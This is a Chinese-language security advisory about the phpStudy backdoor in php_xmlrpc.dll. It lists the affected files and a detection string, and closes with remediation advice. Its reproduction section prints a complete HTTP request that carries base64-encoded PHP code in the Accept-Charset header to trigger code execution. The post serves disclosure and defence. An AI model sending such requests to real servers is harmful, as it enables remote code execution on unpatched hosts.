phpStudy poc漏洞復現以及漏洞修復辦法

phpStudy于近日被暴露出有后門漏洞，之前的phpStudy2016，phpStudy2018部分版本，EXE程序包疑似被入侵者植入木馬后門，導致許多網站及服務器被攻擊，被篡改，目前我們SINE安全公司立即成立phpStudy安全應急響應小組，針對部分客戶服務器上安裝該PHP一鍵環境搭建的情況，進行了全面的漏洞修復與安全防護。第一時間保障客戶的網站安全，以及服務器的安全穩定運行。關于該漏洞的詳情，我們來安全分析一下，以及復現，漏洞修復，三個方面來入手。

國內大部分的服務器尤其windows系統，都有安裝phpstudy一鍵環境搭建軟件，該軟件可以自動設置安裝apache,php，mysql數據庫，以及zend安裝，并自動設置root賬號密碼，一鍵化操作，深受廣大網站運營以及服務器維護者的喜歡，正因為使用的人較多，導致被攻擊者盯上并植入木馬后門到exe程序包中。

該后門文件是PHP環境當中的php_xmlrpc.dll模塊被植入木馬后門，具體的名稱，經過我們SINE安全技術的安全檢測，可以確定是phpstudy2016.11.03版本，以及phpstudy2018.02.11版本，后門文件如下：

phpphp-5.2.17extphp_xmlrpc.dll

phpphp-5.4.45extphp_xmlrpc.dll

PHPTutorialphpphp-5.2.17extphp_xmlrpc.dll

PHPTutorialphpphp-5.4.45extphp_xmlrpc.dll

在phpstudy文件夾下面搜索php_xmlrpc.dll文件，看下這個dll文件里是否包含@eval(%s('%s'))內容的字符，如果有的話，基本上就是有木馬后門了。截圖如下：

我們來分析復現漏洞看下，是否可以成功的利用，首先本地安裝phpstudy2016.11.03版本的安裝壓縮包，解壓到當前目錄直接點擊EXE運行即可，默認安裝的PHP版本就是php5.4.45版本，然后本地打開看下，用抓包工具檢測當前的數據包。

GET /safe.php HTTP/1.1

Host:

Cache-Control: max-age=1

Upgrade-Insecure-Requests: 2

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36

Accept:

Accept-Language: zh-CN,zh;q=0.6

Accept-Encoding:gzip

Accept-Charset:=cGhwaW5mbyUyOCUyOSUzQg==(這個是POC代碼加密的)

Cookie: Hm_lpvt_49143271fe785debb3b77f77f7c71752=1569485559;

Connection: close

漏洞的執行位置是在數據包的Accept-Charset里，這里寫入惡意代碼加密的phpinfo，然后提交過去，就會執行phpinfo語句。

關于phpstudy漏洞的修復辦法，從phpstudy官方網站下載最新的版本，將php_xmlrpc.dll進行替換到舊版本里即可，對PHP的Accept-Charset的參數傳輸做安全過濾與效驗防止提交惡意參數，禁止代碼的傳輸，即可修復此漏洞， （經證實對此phpstudy官方公告此后門是黑客之前入侵了官網篡改了程序包導致的安全問題，強烈鄙視黑客的行為！）如果您對代碼不是太了解的話，也可以找專業的網站安全公司來處理解決，國內SINESAFE，啟明星辰，綠盟都是比較不錯的，目前該漏洞影響范圍較廣，請各位網站運營者盡快修復漏洞，打好補丁，防止網站被攻擊，被篡改。